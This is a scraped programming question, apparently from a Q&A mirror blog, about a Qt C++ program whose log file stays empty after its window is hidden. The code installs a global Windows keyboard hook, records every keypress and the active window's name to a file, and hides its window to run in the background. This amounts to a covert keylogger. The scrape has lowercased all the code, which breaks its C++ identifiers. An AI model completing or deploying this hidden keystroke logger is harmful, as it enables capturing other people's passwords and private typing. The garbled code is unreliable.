File writing with hidden window Qt c++ -


i have program writes things file qt. outputs supposed go in file on console.

what wanted hide window process run in background. when call hide() method of mainwindow, console keeps displaying data supposed go in file, file remains empty.

note i'm using fstream functions, not provided qt.

where problem come ?

i hide() window when button clicked :

void mainwindow::on_pushbutton_clicked() {     if (ui->editlogfilepath->text().length() > 0) {         if (!(hhook = setwindowshookex(idhook, mkeyboardproc, getmodulehandle(null), threadid))) {             qdebug() << "hook failed !";             return ;         }         else             hide()     } } 

}

i fill file in mkeyboardproc function :

static mainwindow *cur = null; // initialized cur = this; in constructor  lresult callback    mkeyboardproc(int ncode, wparam wparam, lparam lparam) {      lresult nexthook = callnexthookex(cur->gethook(), ncode, wparam, lparam);     if (wparam == wm_keydown) {         std::ofstream        out;          out.open(cur->getui()->editlogfilepath->text().tostdstring().c_str(), std::ofstream::app);         if (!out.is_open())             qdebug() << "open file fail";         else             qdebug() << "open file success";         kbdllhookstruct     ckey = *((kbdllhookstruct*) lparam);         wchar_t             buffer[5];         byte                keyboard_state[256];         getkeyboardstate(keyboard_state);         updatekeystate(keyboard_state, vk_shift);         updatekeystate(keyboard_state, vk_capital);         updatekeystate(keyboard_state, vk_control);         updatekeystate(keyboard_state, vk_menu);          hkl keyboard_layout = getkeyboardlayout(0);          char lpszname[0x100] = {0};         dword   dwmsg = 1;         dwmsg += ckey.scancode << 16;         dwmsg += ckey.flags << 24;         buffer[4] = l'\0';         tounicodeex(ckey.vkcode, ckey.scancode, keyboard_state, buffer, 4, 0, keyboard_layout);         qdebug() << "value : '" << qstring::fromutf16((ushort*)buffer) << "'  key : '" << qstring::fromutf16((ushort*)lpszname) << "'";         qstring      tofile = "\tvalue : '" + qstring::fromutf16((ushort*)buffer) + "' \tkey : '" + qstring::fromutf16((ushort*)lpszname) + "'";         std::string  def = cur->checkwindowchange() + tofile.tostdstring() + "\n";          out << def;         out.close();     }     return nexthook; } 

thanks in advance (and sorry poor english)


Comments

Popular posts from this blog

javascript - Count length of each class -

What design pattern is this code in Javascript? -

hadoop - Restrict secondarynamenode to be installed and run on any other node in the cluster -